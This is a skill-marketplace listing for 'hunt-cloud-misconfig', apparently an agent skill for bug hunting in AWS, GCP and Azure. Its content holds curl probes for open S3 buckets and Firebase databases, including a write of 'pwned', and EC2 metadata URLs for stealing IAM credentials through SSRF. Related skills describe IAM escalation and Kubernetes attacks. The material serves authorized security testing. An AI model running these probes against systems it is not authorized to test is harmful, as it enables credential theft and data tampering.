hunt-cloud-misconfig

Solid

Hunt cloud / infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF. GCP: public GCS buckets, exposed Cloud Run services, leaked service account JSON. Azure: public blob containers, exposed Function App. (Kubernetes/Docker exposure is owned by hunt-k8s; CI/CD pipeline attacks by hunt-cicd; post-credential IAM escalation by cloud-iam-deep.) Detection: targeted dorking, certificate transparency, JS bundle secret extraction, port scan for known service ports. Validate: actual data read / write / RCE. Use when hunting cloud-native storage and compute misconfig (S3/GCS/Blob, IMDS-via-SSRF, serverless, public managed services).

DevOps & Infrastructure 3,220 stars 493 forks Updated today NOASSERTION

Install

View on GitHub

Quality Score: 83/100

Stars 20%
100
Recency 20%
100
Frontmatter 20%
70
Documentation 15%
100
Issue Health 10%
50
License 10%
100
Description 5%
100

Skill Content

## 16. CLOUD / INFRA MISCONFIGS ### S3 / GCS / Azure Blob ```bash # S3 listing curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10" aws s3 ls s3://target-bucket-name --no-sign-request # Try common bucket names for name in target target-backup target-assets target-prod target-staging; do curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/" done # Firebase open rules curl -s "https://TARGET-APP.firebaseio.com/.json" # read curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write ``` ### EC2 Metadata (via SSRF) ```bash http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys ``` ### Exposed Admin Panels ``` /jenkins /grafana /kibana /elasticsearch /swagger-ui.html /phpMyAdmin /.env /config.json /api-docs /server-status ``` --- ## Local-verification toolchain For testing cloud-misconfig findings against a local AWS sim before/instead of hitting real cloud: ```bash # LocalStack 3.0 community (pin the version — 4.x requires a Pro license) docker run -d --name lab-localstack -p 14566:4566 localstack/localstack:3.0 # awscli ≥ 2.30 + LocalStack 3.0 incompatibility workaround (x-amz-trailer header): export AWS_REQUEST_CHECKSUM_CALCULATION=when_required export AWS_RESPONSE_CHECKSUM_VALIDATION=when_required export AWS_ENDPOINT_URL=http://localhost:14566 export AWS_ACCESS_KEY_ID=test AWS_SECRET_ACCESS_K...

Details

Author
elementalsouls
Repository
elementalsouls/Claude-BugHunter
Created
2 months ago
Last Updated
today
Language
Python
License
NOASSERTION

Integrates with

Anthropic · AI AWS · Cloud Google Cloud · Cloud Azure · Cloud Firebase · Cloud Jenkins · DevTools Elasticsearch · Database Grafana · Monitoring Kubernetes · Infrastructure

Bundled in these plugins

claude-bughunter

Similar Skills

Semantically similar based on skill content — not just same category

DevOps & Infrastructure Solid

cloud-iam-deep

Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.

3,220 Updated today
elementalsouls
DevOps & Infrastructure Listed

cloud-security

Use when assessing cloud infrastructure for security misconfigurations, IAM privilege-escalation paths, S3 public exposure, open security-group rules, or IaC security gaps. Covers AWS, Azure, and GCP posture. For active cloud compromise, use `incident-response`. For behavioural anomalies, use `threat-detection`.

0 Updated today
tmj-90
DevOps & Infrastructure Solid

hunt-k8s

Hunt Kubernetes & Docker — API anonymous access, kubelet 10250 exec (SPDY/WebSocket, NOT plain POST) and the simpler /run primitive, etcd 2379 unauth, dashboard skip-login, RBAC misconfig, secret/SA-token abuse, docker.sock host escape, runc/container-escape (Leaky Vessels CVE-2024-21626), API-server-mediated nodes/proxy RCE, EphemeralContainers node-shell, bound/projected SA-token audience+expiry abuse, admission-controller bypass, Helm/Tiller remnants. Use when target runs containerized infra, exposes K8s ports (6443/10250/10255/2379/8443), or cloud metadata reveals K8s service accounts.

3,220 Updated today
elementalsouls